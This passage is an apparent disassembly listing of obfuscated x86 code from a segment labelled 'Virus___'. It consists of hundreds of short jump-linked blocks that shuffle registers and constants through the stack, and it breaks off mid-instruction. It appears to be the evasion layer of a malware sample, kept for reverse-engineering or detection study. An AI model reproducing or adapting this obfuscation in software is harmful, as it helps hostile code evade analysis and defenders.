jmp loc_581BC9 ; --------------------------------------------------------------------------- loc_5868CB: ; CODE XREF: Virus___:005887A7j push 0B1Bh mov [esp], ecx mov ecx, 1D5016F6h xor ecx, 623B487Eh xor edx, ecx pop ecx add edx, 350776B4h jmp loc_57FB35 ; --------------------------------------------------------------------------- loc_5868EC: ; CODE XREF: Virus___:00593783j mov edx, 8039DE03h jmp loc_58EA66 ; --------------------------------------------------------------------------- loc_5868F6: ; CODE XREF: Virus___:0058F25Ej push eax mov eax, 42C5675Bh sub eax, 0FA55F2D3h sub ebx, eax pop eax jmp loc_592378 ; --------------------------------------------------------------------------- loc_586909: ; CODE XREF: Virus___:0058E516j push dword ptr [esp+4] jmp loc_581C0D ; --------------------------------------------------------------------------- loc_586912: ; CODE XREF: Virus___:0058651Ej sub ebx, 42F57C28h add ebx, 35B3115Fh inc ebx jmp loc_58069F ; --------------------------------------------------------------------------- loc_586924: ; CODE XREF: Virus___:0058D098j shr ebx, 8 dec ebx shr ebx, 2 sub ebx, 88A512E7h mov edi, ebx jmp loc_580D44 ; --------------------------------------------------------------------------- loc_586938: ; CODE XREF: Virus___:0057FF0Bj mov ebx, [esp] add esp, 4 push ecx mov ecx, eax mov ebx, ecx pop ecx pop eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58694A: ; CODE XREF: Virus___:0058565Fj add esp, 4 jmp loc_58704D ; --------------------------------------------------------------------------- loc_586952: ; CODE XREF: Virus___:0058871Ej mov esp, [esp] push ebx mov ebx, 23147764h not ebx sub ebx, 0B8505F10h sub edx, ebx pop ebx jmp loc_588586 ; --------------------------------------------------------------------------- loc_58696B: ; CODE XREF: Virus___:0057FF8Aj sub esp, 4 mov [esp], edx push esp pop edx push eax mov eax, 4 add edx, eax push dword ptr [esp] pop eax add esp, 4 sub edx, 4 xor edx, [esp] jmp loc_58D027 ; --------------------------------------------------------------------------- push 2E29h mov [esp], ebx mov ebx, 3Ch push 2ADCh mov [esp], eax push 523612ECh pop eax jmp loc_5871C8 ; --------------------------------------------------------------------------- loc_5869B0: ; CODE XREF: Virus___:00586EB3j push 1023h mov [esp], ebp jmp loc_589C59 ; --------------------------------------------------------------------------- loc_5869BD: ; CODE XREF: Virus___:0058EF1Dj mov ebx, 4 add ecx, ebx pop ebx sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi jmp loc_59289C ; --------------------------------------------------------------------------- loc_5869D4: ; CODE XREF: Virus___:0059185Ej push dword ptr [esp] pop ecx add esp, 4 jmp loc_5866A2 ; --------------------------------------------------------------------------- loc_5869E0: ; CODE XREF: Virus___:00590D9Aj mov ebp, 5024D17Fh sub ebp, eax jmp loc_589A1E ; --------------------------------------------------------------------------- loc_5869EC: ; CODE XREF: Virus___:005903EAj sub ebx, ecx push dword ptr [esp] pop ecx add esp, 4 push ecx mov ecx, 3A407BFCh add ecx, 1CF45B39h not ecx add ecx, 57DA16D3h jmp loc_58361F ; --------------------------------------------------------------------------- loc_586A11: ; CODE XREF: Virus___:0058F5D5j or ebx, 4F4874D3h sub ebx, 3EE80AE5h xor esi, ebx pop ebx add esi, 0F192C5Bh sub esi, 2153BAA9h add eax, esi jmp loc_590D5D ; --------------------------------------------------------------------------- loc_586A33: ; CODE XREF: Virus___:0058E552j add edx, 4 push edi jmp loc_58D843 ; --------------------------------------------------------------------------- loc_586A3F: ; CODE XREF: Virus___:00591CB1j and edi, 50AE2576h and edi, 4C761689h dec edi sub edi, 2003FBh mov edx, edi jmp loc_58FD29 ; --------------------------------------------------------------------------- loc_586A59: ; CODE XREF: Virus___:00583929j push 71653ECh mov ebp, [esp] add esp, 4 add ebp, 6CFB5767h sub ebp, 52B66E71h jmp loc_589F19 ; --------------------------------------------------------------------------- loc_586A75: ; CODE XREF: Virus___:00591C40j mov bl, ah pop eax mov edx, [esp] push ecx jmp loc_58E261 ; --------------------------------------------------------------------------- loc_586A81: ; CODE XREF: Virus___:0058D125j pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_586A95: ; CODE XREF: Virus___:00593FC8j sub edx, 96CB9CC3h jmp loc_587126 ; --------------------------------------------------------------------------- loc_586AA0: ; CODE XREF: Virus___:00581659j pop edi push ebx push eax jmp loc_58FB1B ; --------------------------------------------------------------------------- loc_586AA8: ; CODE XREF: Virus___:0058DFC2j mov edi, 5D912103h mov eax, edi pop edi xor esi, eax pop eax add edx, esi mov esi, [esp] add esp, 4 push 302Eh mov [esp], ecx push 2 push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_590DA9 ; --------------------------------------------------------------------------- loc_586ADD: ; CODE XREF: Virus___:005940B4j push 16FFh jmp loc_583E69 ; --------------------------------------------------------------------------- loc_586AE7: ; CODE XREF: Virus___:005916DBj add esp, 4 xchg esi, ebp sub ebp, 5DC33B85h inc ebp push esi mov esi, 70803A52h xor ebp, esi pop esi jmp loc_585E6D ; --------------------------------------------------------------------------- loc_586B01: ; CODE XREF: Virus___:0058B833j sub esp, 4 mov [esp], eax jmp loc_582BA6 ; --------------------------------------------------------------------------- loc_586B0C: ; CODE XREF: Virus___:00585E48j pop esp jmp loc_591BDA ; --------------------------------------------------------------------------- loc_586B12: ; CODE XREF: Virus___:0058941Cj mov esi, 3CFB16A6h sub ecx, 12A968E1h add ecx, esi add ecx, 12A968E1h pop esi mov ebx, [esp] jmp loc_58A9C8 ; --------------------------------------------------------------------------- loc_586B2E: ; CODE XREF: Virus___:005905FBj and ebp, 36644E7Eh and ebp, 50F951C4h inc ebp and ebp, 5DE4D85h jmp loc_5933D5 ; --------------------------------------------------------------------------- loc_586B46: ; CODE XREF: Virus___:0058AEB3j add dl, 84h push 73BDh mov [esp], ecx mov ch, 68h neg ch sub ch, 0ECh and ch, 0BCh sub ch, 1 not ch add ch, 8Ah add bh, ch pop ecx jmp loc_5884BC ; --------------------------------------------------------------------------- loc_586B6B: ; CODE XREF: Virus___:0058DB45j mov [esp], edx jmp loc_57FAEA ; --------------------------------------------------------------------------- loc_586B73: ; CODE XREF: Virus___:0058AB55j push 38FBh mov [esp], ecx mov ecx, 38031E79h push 5DBAh mov [esp], esi mov esi, 0C7FCE197h push esi mov esi, 218D5572h not esi xor esi, 32D67F6Fh inc esi push eax mov eax, 0D502423h push edx mov edx, 26454444h shl edx, 4 add edx, 0A549CB13h jmp loc_592E04 ; --------------------------------------------------------------------------- loc_586BB6: ; CODE XREF: Virus___:0058A87Dj add esp, 4 sub al, bl push ecx jmp loc_591E8A ; --------------------------------------------------------------------------- loc_586BC1: ; CODE XREF: Virus___:00580AF9j pop ecx mov ch, ah mov eax, [esp] add esp, 4 jmp loc_584B4C ; --------------------------------------------------------------------------- loc_586BCF: ; CODE XREF: Virus___:0058D9F2j add ebp, 5F538DEh dec ebp add ebp, 0C6DF085h and edx, ebp pop ebp or edx, 6FD54258h or edx, 173B4901h add edx, 8000B4A7h mov ebx, edx pop edx add ecx, 3DEE53CCh add ecx, ebx push 1399h mov [esp], edi push ebp push 718373DEh pop ebp and ebp, 64BD7242h xor ebp, 20382BDBh add ebp, 1C2A0534h push ebp pop edi push dword ptr [esp] pop ebp jmp loc_585EBA ; --------------------------------------------------------------------------- loc_586C28: ; CODE XREF: Virus___:00580C15j push ebx mov ebx, 541A5F5Ch dec ebx jmp loc_588E42 ; --------------------------------------------------------------------------- loc_586C34: ; CODE XREF: Virus___:005927D7j shr edi, 7 push 522Ch mov [esp], eax jmp loc_587450 ; --------------------------------------------------------------------------- loc_586C44: ; CODE XREF: Virus___:00581CB1j push ebp push eax jmp loc_58DF31 ; --------------------------------------------------------------------------- loc_586C4B: ; CODE XREF: Virus___:0058C33Cj mov eax, 762051E8h xor [esp+4], eax pop eax pop edx xor edx, 762051E8h push dword ptr [esp] jmp loc_582D32 ; --------------------------------------------------------------------------- loc_586C64: ; CODE XREF: Virus___:00588542j mov esp, [esp] mov [esp], ebx jmp loc_58AA5C ; --------------------------------------------------------------------------- loc_586C6F: ; CODE XREF: Virus___:005850F1j add [esp+4], edx push ecx push ebx jmp loc_58E360 ; --------------------------------------------------------------------------- loc_586C7A: ; CODE XREF: Virus___:005876AAj sub esp, 4 mov [esp], esp push ebp jmp loc_584C75 ; --------------------------------------------------------------------------- loc_586C89: ; CODE XREF: Virus___:00587493j pop edi push edi mov edi, 4 add ecx, edi pop edi jmp loc_592CE2 ; --------------------------------------------------------------------------- loc_586C98: ; CODE XREF: Virus___:0058D89Bj xchg ecx, [esp] jmp loc_58D09D ; --------------------------------------------------------------------------- loc_586CA0: ; CODE XREF: Virus___:0058810Dj pop edx push edi mov edi, esp add edi, 4 sub edi, 2 jmp loc_584F3F ; --------------------------------------------------------------------------- loc_586CB2: ; CODE XREF: Virus___:0058CF07j mov [esp], eax mov eax, 757A4CE1h neg eax sub eax, 6DFA4112h and esi, eax mov eax, [esp] jmp loc_593A55 ; --------------------------------------------------------------------------- loc_586CCB: ; CODE XREF: Virus___:0058BD59j mov edx, [esp] add esp, 4 jmp loc_58447A ; --------------------------------------------------------------------------- loc_586CD6: ; CODE XREF: Virus___:005846EEj push ebx mov ebx, 1760DDC3h add esi, ebx pop ebx jmp loc_5904EE ; --------------------------------------------------------------------------- loc_586CE4: ; CODE XREF: Virus___:00580AC4j pop ecx push esi jmp loc_58B97E ; --------------------------------------------------------------------------- loc_586CEB: ; CODE XREF: Virus___:0058507Dj and eax, ebx jmp loc_5897CE ; --------------------------------------------------------------------------- loc_586CF2: ; CODE XREF: Virus___:0058F846j add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp inc edx xor edx, 2688178Eh mov edi, edx pop edx sub eax, 4BFC4052h jmp loc_58E2BD ; --------------------------------------------------------------------------- loc_586D1B: ; CODE XREF: Virus___:0057FCDCj sub esp, 4 mov [esp], edi mov edi, esp jmp loc_58484A ; --------------------------------------------------------------------------- loc_586D2B: ; CODE XREF: Virus___:0058064Cj pop esi pop ebx pop ebp jmp loc_591841 ; --------------------------------------------------------------------------- loc_586D33: ; CODE XREF: Virus___:00581B88j add esp, 4 shr eax, 8 xor eax, ecx jmp loc_58CEBA ; --------------------------------------------------------------------------- loc_586D40: ; CODE XREF: Virus___:0058B9EDj pop edx jmp loc_5820B9 ; --------------------------------------------------------------------------- loc_586D46: ; CODE XREF: Virus___:005934EEj sub eax, 1FCA21FDh pop ebp add eax, 0E2C1F70h sub eax, 574C0422h jmp loc_58E5E9 ; --------------------------------------------------------------------------- loc_586D5B: ; CODE XREF: Virus___:005870CBj xor ebx, edx pop edx jmp loc_58369A ; --------------------------------------------------------------------------- loc_586D63: ; CODE XREF: Virus___:00580C65j xor ecx, 7F276DF0h add ebx, 0D3107C8h jmp loc_58AC58 ; --------------------------------------------------------------------------- loc_586D74: ; CODE XREF: Virus___:00588305j add eax, edx mov edx, [esp] push ecx push esp pop ecx push ebx mov ebx, 63A574FDh dec ebx sub ebx, 28CD5354h xor ebx, 2A93155Ch or ebx, 362201E1h push edi mov edi, 511F0391h xor edi, 2BC757F9h sub edi, 446D1E77h xor ebx, edi pop edi jmp loc_590596 ; --------------------------------------------------------------------------- loc_586DAF: ; CODE XREF: Virus___:005853FCj sub esp, 4 mov [esp], edx push 32ED65E7h pop edx xor edx, 26FA57A9h mov ecx, edx pop edx push ebp push edx mov edx, 4D8D080Ah shl edx, 4 jmp loc_591231 ; --------------------------------------------------------------------------- loc_586DD3: ; CODE XREF: Virus___:00590984j push dword ptr [esp] pop eax add esp, 4 push ebp push ecx mov ecx, esp add ecx, 4 push ebx jmp loc_58F8D4 ; --------------------------------------------------------------------------- loc_586DEA: ; CODE XREF: Virus___:005908EFj not byte ptr [esp+1] jmp loc_5871B2 ; --------------------------------------------------------------------------- loc_586DF3: ; CODE XREF: Virus___:0058F4B2j mov [esp], edx mov dl, 3Dh shl dl, 4 sub dl, 0FBh jmp loc_58FE80 ; --------------------------------------------------------------------------- loc_586E03: ; CODE XREF: Virus___:00585E21j add esp, 4 shl esi, 5 add esi, 55F851CAh add esi, 0FFFFFFFFh not esi sub esi, 0FFFFFFFFh push eax mov eax, 0C59652A1h add esi, eax pop eax and ebp, esi push dword ptr [esp] pop esi add esp, 4 sub ebp, 0E66BD5B3h or ecx, ebp pop ebp sub ecx, 2FDD2AF1h sub edi, 4F617F6Eh add edi, 1C13905h add edi, ecx sub edi, 1C13905h jmp loc_593644 ; --------------------------------------------------------------------------- loc_586E54: ; CODE XREF: Virus___:00582D7Fj push eax jmp loc_589711 ; --------------------------------------------------------------------------- loc_586E5A: ; CODE XREF: Virus___:0058E8E8j not esi shl esi, 5 sub esi, 5AD1CD75h and edi, esi pop esi shl edi, 5 jmp loc_59039A ; --------------------------------------------------------------------------- loc_586E70: ; CODE XREF: Virus___:0058A84Aj pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_58DA5E ; --------------------------------------------------------------------------- loc_586E7C: ; CODE XREF: Virus___:005881F3j push ebx jmp loc_588AE5 ; --------------------------------------------------------------------------- loc_586E82: ; CODE XREF: Virus___:00589087j pop esp push eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push ebx push esp pop ebx push edx push 4ED60E98h jmp loc_58431B ; --------------------------------------------------------------------------- loc_586EA8: ; CODE XREF: Virus___:005861B4j mov [esp], eax push eax mov eax, esp add eax, 4 jmp loc_5869B0 ; --------------------------------------------------------------------------- loc_586EB8: ; CODE XREF: Virus___:00588E5Bj not al inc al or al, 13h xor al, 0A9h jmp loc_582BEC ; --------------------------------------------------------------------------- loc_586EC5: ; CODE XREF: Virus___:0058A74Fj push edx mov edx, esp jmp loc_5914A5 ; --------------------------------------------------------------------------- loc_586ECD: ; CODE XREF: Virus___:00587272j dec ch push ax jmp loc_583A21 ; --------------------------------------------------------------------------- loc_586ED6: ; CODE XREF: Virus___:00594558j mov ebp, [esp] add esp, 4 jmp loc_5901F8 ; --------------------------------------------------------------------------- loc_586EE4: ; CODE XREF: Virus___:0059153Aj mov ebx, esp jmp loc_58FF3D ; --------------------------------------------------------------------------- loc_586EEB: ; CODE XREF: Virus___:00581EA2j not cl jmp loc_5817BC ; --------------------------------------------------------------------------- loc_586EF2: ; CODE XREF: Virus___:00581A53j add esi, 62615446h jmp loc_59222F ; --------------------------------------------------------------------------- loc_586EFD: ; CODE XREF: Virus___:005814BFj add eax, 737E4693h add eax, edi jmp loc_58774C ; --------------------------------------------------------------------------- loc_586F09: ; CODE XREF: Virus___:00591C47j push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_57F37C ; --------------------------------------------------------------------------- loc_586F1C: ; CODE XREF: Virus___:005882F1j mov ebp, 156B70E5h add [esp+4], ebp jmp loc_591122 ; --------------------------------------------------------------------------- loc_586F2A: ; CODE XREF: Virus___:00584706j push ecx mov ecx, 1EEE0513h mov edi, 5689001Eh xor edi, ecx jmp loc_58A229 ; --------------------------------------------------------------------------- loc_586F3C: ; CODE XREF: Virus___:00587E1Fj mov bx, 0D953h add si, bx mov bx, [esp] push 0D8Bh mov [esp], edi push esp pop edi push eax mov eax, 4 add edi, eax pop eax add edi, 2 xchg edi, [esp] mov esp, [esp] mov dx, si push dword ptr [esp] pop esi push edx push esp mov edx, [esp] add esp, 4 push ebx mov ebx, 4 jmp loc_580F43 ; --------------------------------------------------------------------------- loc_586F80: ; CODE XREF: Virus___:0058A8D6j add esp, 4 jmp loc_58624E ; --------------------------------------------------------------------------- loc_586F8B: ; CODE XREF: Virus___:00584D63j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp sar word ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_586F9E: ; CODE XREF: Virus___:005900A6j add dh, 16h jmp loc_5911CB ; --------------------------------------------------------------------------- loc_586FA6: ; CODE XREF: Virus___:00584E76j pop ecx loc_586FA7: ; CODE XREF: Virus___:00588568j ; Virus___:0058BDA4j push 5BE4h mov [esp], ebp mov ebp, esp push 4989h mov [esp], edx jmp loc_58858C ; --------------------------------------------------------------------------- loc_586FBE: ; CODE XREF: Virus___:005901C6j mov ebp, esp push eax mov eax, 2AB21B34h jmp loc_585FC5 ; --------------------------------------------------------------------------- loc_586FCB: ; CODE XREF: Virus___:00591A03j push 394Fh mov [esp], ecx push esp jmp loc_581117 ; --------------------------------------------------------------------------- loc_586FD9: ; CODE XREF: Virus___:0057F5E8j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 sub esp, 4 mov [esp], ebx jmp loc_590846 ; --------------------------------------------------------------------------- loc_586FF2: ; CODE XREF: Virus___:0058055Cj push ebp mov ebp, esp jmp loc_591A4C ; --------------------------------------------------------------------------- loc_586FFA: ; CODE XREF: Virus___:00581694j pop esp add esi, 135F0807h push dword ptr [esp] jmp loc_58D751 ; --------------------------------------------------------------------------- loc_587009: ; CODE XREF: Virus___:0058F7C3j pop edi add esp, 4 jmp loc_587EF2 ; --------------------------------------------------------------------------- loc_587015: ; CODE XREF: Virus___:005892C2j pop esi sub esi, 2EC61938h jmp loc_58548B ; --------------------------------------------------------------------------- loc_587021: ; CODE XREF: Virus___:00584ECBj pop ebx mov eax, [esp] push ebp push esp pop ebp jmp loc_592FA9 ; --------------------------------------------------------------------------- loc_58702D: ; CODE XREF: Virus___:00582B7Fj push ebx push 59AC71E6h pop ebx jmp loc_58755B ; --------------------------------------------------------------------------- loc_587039: ; CODE XREF: Virus___:0058AF9Ej push dword ptr [esp] pop edx push ebx mov ebx, esp jmp loc_57FAFA ; --------------------------------------------------------------------------- loc_587045: ; CODE XREF: Virus___:0058FD4Fj mov ecx, [esp] jmp loc_592205 ; --------------------------------------------------------------------------- loc_58704D: ; CODE XREF: Virus___:0058694Dj add eax, ebx sub eax, 275839A0h jmp loc_58E092 ; --------------------------------------------------------------------------- loc_587059: ; CODE XREF: Virus___:00584066j mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebp, 2 push ebp push dword ptr [esp+4] mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_5800E1 ; --------------------------------------------------------------------------- loc_58708B: ; CODE XREF: Virus___:00586528j and eax, edx jmp loc_5815AC ; --------------------------------------------------------------------------- loc_587092: ; CODE XREF: Virus___:00580D4Fj or bh, 0CBh jmp loc_58D227 ; --------------------------------------------------------------------------- loc_58709A: ; CODE XREF: Virus___:00594295j xor edx, [esp] jmp loc_581DD6 ; --------------------------------------------------------------------------- loc_5870A2: ; CODE XREF: Virus___:005944DFj mov eax, 6C8A0324h sub eax, 46403619h sub eax, ecx jmp loc_581CE3 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push esi push 1FF7h mov [esp], esp jmp loc_592D9A ; --------------------------------------------------------------------------- loc_5870C5: ; CODE XREF: Virus___:005891FAj push edx mov edx, 5011628Eh jmp loc_586D5B ; --------------------------------------------------------------------------- loc_5870D0: ; CODE XREF: Virus___:00592FBAj add esp, 4 inc ch push bx mov bl, 0FFh sub ch, 6Bh sub ch, bl push eax mov ah, 41h or ah, 0BBh push edx mov dh, 0B6h xor ah, dh mov edx, [esp] add esp, 4 shl ah, 2 shl ah, 6 add ah, 6Bh add ch, ah pop eax pop bx inc ch inc ch add ch, 87h xor ch, 7Ch jmp loc_58D519 ; --------------------------------------------------------------------------- loc_58710C: ; CODE XREF: Virus___:00590466j push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp and eax, edx jmp loc_58AD89 ; --------------------------------------------------------------------------- loc_587120: ; CODE XREF: Virus___:00582358j push ebx jmp loc_589899 ; --------------------------------------------------------------------------- loc_587126: ; CODE XREF: Virus___:00586A9Bj sub ebx, edx jmp loc_589A68 ; --------------------------------------------------------------------------- loc_58712D: ; CODE XREF: Virus___:0058CEE2j add edi, eax jmp loc_59359B ; --------------------------------------------------------------------------- loc_587134: ; CODE XREF: Virus___:0059004Fj xor ecx, 304CF1FEh jmp loc_5912DC ; --------------------------------------------------------------------------- loc_58713F: ; CODE XREF: Virus___:00585E34j add esp, 4 xor eax, 23E905D9h pop ebx and ecx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_5944FE ; --------------------------------------------------------------------------- loc_587159: ; CODE XREF: Virus___:00586868j sub edi, 145A01BFh jmp loc_57F77A ; --------------------------------------------------------------------------- mov ax, [esp] push 0F7Bh mov [esp], edx mov edx, esp jmp loc_5860EC ; --------------------------------------------------------------------------- loc_587177: ; CODE XREF: Virus___:00592071j or ch, 0E0h and ch, 10h push eax mov ah, 0DEh jmp loc_58BC47 ; --------------------------------------------------------------------------- push 53947h jmp loc_58D4DB ; --------------------------------------------------------------------------- loc_58718F: ; CODE XREF: Virus___:0058BF7Cj mov [esp], esi push 661Dh mov [esp], ebx push 3CB31B1Dh jmp loc_588756 ; --------------------------------------------------------------------------- loc_5871A4: ; CODE XREF: Virus___:0058B1CBj mov edx, esp jmp loc_59226A ; --------------------------------------------------------------------------- loc_5871AB: ; CODE XREF: Virus___:00590B82j pop ecx push ebp jmp loc_58AD03 ; --------------------------------------------------------------------------- loc_5871B2: ; CODE XREF: Virus___:00586DEEj pop eax and ah, 0Ch jmp loc_589C0C ; --------------------------------------------------------------------------- loc_5871BB: ; CODE XREF: Virus___:0058C6CDj push 1CFh mov [esp], eax jmp loc_583645 ; --------------------------------------------------------------------------- loc_5871C8: ; CODE XREF: Virus___:005869ABj sub ebx, eax push dword ptr [esp] jmp loc_58A9E6 ; --------------------------------------------------------------------------- loc_5871D2: ; CODE XREF: Virus___:005874C0j pop ebx add ebx, 4 push edx push 4E81h mov [esp], ecx mov ecx, 378A41E8h neg ecx push edx mov edx, 19FA0D4Dh neg edx xor edx, 0C7C4B179h add ecx, edx pop edx jmp loc_58C417 ; --------------------------------------------------------------------------- loc_5871FF: ; CODE XREF: Virus___:005814FAj push ebx push 531h mov [esp], eax jmp loc_57F435 ; --------------------------------------------------------------------------- loc_58720D: ; CODE XREF: Virus___:0058DFCDj pop edx push ebp push 5A58h mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_593F49 ; --------------------------------------------------------------------------- loc_587221: ; CODE XREF: Virus___:0058758Dj sub eax, ebx jmp loc_5805E3 ; --------------------------------------------------------------------------- loc_587228: ; CODE XREF: Virus___:0058B12Cj push ebp mov ebp, 3E0B2B67h mov esi, ebp pop ebp xchg ebx, esi jmp loc_593CF3 ; --------------------------------------------------------------------------- loc_587238: ; CODE XREF: Virus___:00584CCFj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], edx push 3156h jmp loc_58FA07 ; --------------------------------------------------------------------------- loc_587252: ; CODE XREF: Virus___:0058381Cj mov ebp, ebx pop ebx sub ebp, 79871489h sub esp, 4 mov [esp], esi jmp loc_585E19 ; --------------------------------------------------------------------------- loc_587266: ; CODE XREF: Virus___:00582E49j mov esp, [esp] push edx mov dh, 0F1h xor dh, ch xor ch, dh xor dh, ch jmp loc_586ECD ; --------------------------------------------------------------------------- loc_587277: ; CODE XREF: Virus___:0058843Ej shr ebx, 4 shl ebx, 3 shr ebx, 8 add ebx, 5CBBB584h mov edi, ebx pop ebx xor esi, edi pop edi mov ecx, [esp] jmp loc_580556 ; --------------------------------------------------------------------------- loc_587294: ; CODE XREF: Virus___:005923C1j pop ecx sub dh, 7Fh sub dh, ah push bx mov bl, 7Fh add dh, bl pop bx sub dh, 5Ch mov eax, [esp] add esp, 4 add al, 0CEh add al, dh sub al, 0CEh pop edx sub bl, al pop eax jmp loc_584F2D ; --------------------------------------------------------------------------- loc_5872BD: ; CODE XREF: Virus___:00593B8Dj sub edi, 0ED72E81h sub edx, edi jmp loc_593B35 ; --------------------------------------------------------------------------- loc_5872CA: ; CODE XREF: Virus___:00592199j sub edi, ecx add edi, 3A402FEAh mov ecx, [esp] add esp, 4 push esi mov esi, 0D6C84377h sub edi, esi pop esi push ebx mov ebx, edi mov edx, ebx pop ebx jmp loc_58A419 ; --------------------------------------------------------------------------- loc_5872EC: ; CODE XREF: Virus___:00581A0Fj xor ebp, [esp] mov esp, [esp] push ebp jmp loc_584C3A ; --------------------------------------------------------------------------- loc_5872F8: ; CODE XREF: Virus___:00587D67j add al, ch sub al, 0B0h jmp loc_58F1AB ; --------------------------------------------------------------------------- push small 4164h push small 7426h jmp loc_5942B9 ; --------------------------------------------------------------------------- loc_58730E: ; CODE XREF: Virus___:0059217Ej add ebx, 0AC6C17EEh add ecx, ebx jmp loc_582D58 ; --------------------------------------------------------------------------- loc_58731B: ; CODE XREF: Virus___:0058B500j xor edx, ebp inc ebp push 3967h mov [esp], edx push ebp pop edx jmp loc_585F53 ; --------------------------------------------------------------------------- loc_58732D: ; CODE XREF: Virus___:00590038j add esp, 4 push ecx mov ecx, ebx push ecx push ebx mov ebx, 34442112h xor [esp+4], ebx pop ebx pop eax xor eax, 34442112h pop ecx mov ebx, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_582120 ; --------------------------------------------------------------------------- loc_587368: ; CODE XREF: Virus___:00585447j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_58019D ; --------------------------------------------------------------------------- loc_58737B: ; CODE XREF: Virus___:0059242Bj mov ebp, 623D732Bh or ebp, 7BD16CF1h neg ebp and ebp, 75771FDDh shr ebp, 3 xor ebp, 499F566Ah sub ecx, ebp pop ebp jmp loc_584147 ; --------------------------------------------------------------------------- loc_58739F: ; CODE XREF: Virus___:00584F13j add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_589070 ; --------------------------------------------------------------------------- dd 0E9242489h, 0FFFFC4DCh ; --------------------------------------------------------------------------- loc_5873C4: ; CODE XREF: Virus___:0058A314j and bl, 7Dh not bl sub bl, 0C2h mov ch, bl pop ebx add ah, ch mov cx, [esp] add esp, 2 mov dl, ah jmp loc_589D00 ; --------------------------------------------------------------------------- loc_5873DF: ; CODE XREF: Virus___:0058CCF0j add edx, ecx pop ecx sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_581B2B ; --------------------------------------------------------------------------- loc_5873F4: ; CODE XREF: Virus___:00580F71j div cx push 5CEFh mov [esp], edi mov edi, esp sub esp, 4 mov [esp], ecx jmp loc_583810 ; --------------------------------------------------------------------------- loc_58740F: ; CODE XREF: Virus___:00583977j add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58741A: ; CODE XREF: Virus___:00591B9Fj pop eax sub eax, 7FC27C87h add eax, ecx add eax, 7FC27C87h add [eax], edx pop eax jmp loc_593553 ; --------------------------------------------------------------------------- loc_58742F: ; CODE XREF: Virus___:00589CFBj push ebp mov ebp, 433A49A6h inc ebp shl ebp, 7 add ebp, 64AC2D4Ch sub eax, 53561DB5h sub eax, ebp add eax, 53561DB5h jmp loc_58E8CF ; --------------------------------------------------------------------------- loc_587450: ; CODE XREF: Virus___:00586C3Fj push edi mov edi, 58166266h xor edi, 20785132h xor edi, 7AEC587Ah mov eax, edi pop edi jmp loc_580689 ; --------------------------------------------------------------------------- loc_58746A: ; CODE XREF: Virus___:0058C58Bj add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], esi push eax mov eax, esp jmp loc_580606 ; --------------------------------------------------------------------------- loc_58748D: ; CODE XREF: Virus___:005861A2j sub ecx, 56A8064Dh jmp loc_586C89 ; --------------------------------------------------------------------------- loc_587498: ; CODE XREF: Virus___:00585F39j add edi, 75224AE5h add edi, esi jmp loc_58CEA5 ; --------------------------------------------------------------------------- loc_5874A5: ; CODE XREF: Virus___:00583799j pop edx add ebp, eax mov eax, [esp] add esp, 4 push eax mov eax, 64D570CDh jmp loc_58CF82 ; --------------------------------------------------------------------------- loc_5874BC: ; CODE XREF: Virus___:0058029Fj mov [esp], ebx push esp jmp loc_5871D2 ; --------------------------------------------------------------------------- loc_5874C5: ; CODE XREF: Virus___:0058034Cj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi push esp mov esi, [esp] push eax push 7657h mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add esi, 4 jmp loc_591E50 ; --------------------------------------------------------------------------- loc_587504: ; CODE XREF: Virus___:0058D697j add esp, 4 pop ebx sub ebx, 221517FAh mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, 0CEE3121h add ebx, edi sub ebx, 0CEE3121h jmp loc_58A78C ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push small 494Fh mov [esp], ax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_587546: ; CODE XREF: Virus___:0058616Fj add esi, 36DF4FA6h jmp loc_583C5E ; --------------------------------------------------------------------------- loc_587551: ; CODE XREF: Virus___:0057FDDCj mov ebp, 14124FF0h jmp loc_58FBE6 ; --------------------------------------------------------------------------- loc_58755B: ; CODE XREF: Virus___:00587034j shr ebx, 6 shr ebx, 5 jmp loc_584EAA ; --------------------------------------------------------------------------- loc_587566: ; CODE XREF: Virus___:0058E57Ej push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push ecx jmp loc_58425C ; --------------------------------------------------------------------------- loc_58757A: ; CODE XREF: Virus___:0058543Ej push ecx mov ecx, 509420E8h shr ecx, 1 inc ecx jmp loc_5880B3 ; --------------------------------------------------------------------------- loc_587588: ; CODE XREF: Virus___:0058E7FAj mov ebx, 